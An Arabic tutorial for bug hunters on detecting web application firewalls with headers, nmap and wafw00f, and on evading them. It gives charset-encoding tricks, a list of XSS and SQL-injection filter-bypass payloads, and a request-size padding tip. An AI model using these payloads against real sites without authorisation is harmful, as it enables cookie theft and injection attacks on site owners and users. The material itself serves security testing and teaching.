نصائح و حيل لاكتشاف الثغرات الامنيه اثناء عمليه الـ Bug Hunting
جدران حماية تطبيقات الويب (Web Application Firewalls) هي تقنية مهمة في مجال أمان التطبيقات على الويب. تعمل هذه الجدران على حماية التطبيقات من هجمات الاختراق والتهديدات الأمنية عن طريق مراقبة وتحليل حركة المرور الواردة والصادرة من التطبيقات. في هذه المقالة، سنستكشف طريقة عمل جدران حماية تطبيقات الويب ونناقش التحديات التي يواجهها مختبرو الاختراق عند محاولة تجاوزها.
ما هي جدران حماية تطبيقات الويب؟
أجهزة الحماية من الهجمات على تطبيقات الويب (WAFs) هي حلول أمنية تستخدم لتصفية وحظر طلبات الويب الضارة. بعض الشركات المتخصصة في هذا المجال تشمل CloudFlare، AWS، Citrix، Akamai، Radware، Microsoft Azure، Barracuda.
كيف يمكن الكشف عن نوع الـ WAF؟
بشكل يدوى:
عن طريق ارسال طلب HTTP ضار و بالطبع هذا بحد ذاته سيجعل الـ WAF يعمل ليحظر الطلب
مثال :
https://example.com/?p4yl04d3=<script>alert(document.cookie)</script>
سيقوم بالطبع بالرد بطرق مختلفه و لكن واحدة من تلك الطرق هي حظرك برد Status code 400
عن طريق الـ Network DevTool tab في المتصفح الخاص بك او Curl او Web Proxy tool نجد:
1- في server header (server : cloudeflare)
2- ان يكون هناك header اضافي في الرد متعلق بالـ WAF مثل CF-RAY: xxxxxxxxxxx
3- كوكيز تم وضعها من قبل الـ WAF مثل Set-Cookie: __cfduid=xxxxx
بشكل آلي:
باستخدام بعض الادوات المشهوره مثل :
1- Nmap
تحتوي Nmap علي (NSE) Nmap Script Engine علي بعض من الـ Scripts للكشف عن نوع الـ WAF
$ nmap --script=http-waf-fingerprint,http-waf-detect -p443 example.com
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-29 21:43 PDT
Nmap scan report for example.com (xxx.xxx.xxx.xxx)
Host is up (0.20s latency).
PORT STATE SERVICE
443/tcp open https
| http-waf-detect: IDS/IPS/WAF detected:
|_example.com:443/?p4yl04d3=<script>alert(document.cookie)</script>
Nmap done: 1 IP address (1 host up) scanned in 8.81 seconds
2- wafw00
هي اداه مشهوره ايضا للكشف عن نوع الـ WAF
$ wafw00f example.com
و غيرهم من الادوات المستخدمه للكشف عن الـ WAF
تخطي الـ WAF
هناك العديد من الطرق لتخطي الـ WAF و التحايل عليه منها :
1- Charset
هذه التقنية تتضمن تعديل Header Content-Type لاستخدام ترميز حروف مختلف (مثل ibm500). يمكن أن يؤدي عدم تكوين جدار الحماية (WAF) للكشف عن الطلبات الضارة بترميزات مختلفة إلى عدم التعرف على الطلب كطلب ضار. يمكن تنفيذ ترميز ترميز الحروف باستخدام لغة Python.
# Charset encoding
application/x-www-form-urlencoded;charset=ibm037
multipart/form-data; charset=ibm037,boundary=blah
multipart/form-data; boundary=blah; charset=ibm037
##Python code
import urllib
s = 'payload'
print(urllib.parse.quote_plus(s.encode("IBM037")))
## Request example
GET / HTTP/1.1
Host: buggy
Content-Type: application/x-www-form-urlencoded; charset=ibm500
Content-Length: 61
%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n
2- Regex Bypasses
يمكن استخدام تقنيات مختلفة لتجاوز عملية تصفية التعابير العادية (regex) في جدران الحماية. تتضمن الأمثلة تغيير حالة الأحرف بالتناوب، وإضافة فواصل الأسطر، وترميز الطلب الدار.
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
3- Content size
من الشائع في أنظمة حماية تطبيقات الويب أنه إذا كان الطلب الضار يتجاوز حجمًا معينًا (X)، فإن الجدار الناري لن يقوم بفحص الطلب. يمكنك ببساطة استغلال ذلك لتجاوزها.
الملخص
جدران حماية تطبيقات الويب تعتبر أداة قوية لحماية التطبيقات من هجمات الاختراق وتهديدات الأمان. ومع ذلك، يجب على مطوري التطبيقات ومختبري الاختراق أن يكونوا على دراية بتحديات تجاوزها وكيفية التعامل معها بشكل فعال. عن طريق اتباع أفضل الممارسات واستخدام الأدوات والتقنيات المناسبة، يمكن تحسين فعالية جدران حماية تطبيقات الويب وضمان أمان التطبيقات على الويب.
يرجى ملاحظة أنه بناءً على طبيعة التكنولوجيا والأنظمة المستخدمة، قد يختلف التجاوز الفعلي لجدران حماية تطبيقات الويب من حالة إلى حالة، ويجب دائمًا احترام الأنظمة والتعامل معها بشكل قانوني وأخلاقي.